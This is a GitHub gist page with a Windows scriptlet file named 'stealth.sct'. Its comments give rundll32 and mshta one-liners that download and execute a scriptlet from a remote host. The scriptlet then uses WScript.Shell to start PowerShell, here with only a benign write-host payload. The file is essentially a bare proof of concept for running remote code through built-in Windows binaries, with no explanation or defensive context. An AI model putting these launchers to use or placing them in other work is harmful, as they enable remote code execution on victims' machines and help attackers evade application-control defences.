Skip to content

Instantly share code, notes, and snippets.

@agreenjay

agreenjay/stealth.sct

Last active July 9, 2018 18:54
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save agreenjay/08f23d338bb6a59a772b407974222d46 to your computer and use it in GitHub Desktop.
Save agreenjay/08f23d338bb6a59a772b407974222d46 to your computer and use it in GitHub Desktop.
Download ZIP
Raw
stealth.sct
<?XML version="1.0"?>
<!-- rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://webserver/scriplet.sct");window.close(); -->
<!-- mshta vbscript:Close(Execute("GetObject(""script:http://webserver/scriplet.sct"")")) -->
<scriptlet>
<public>
</public>
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("powershell -noe -nop write-host");
]]>
</script>
</scriptlet>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment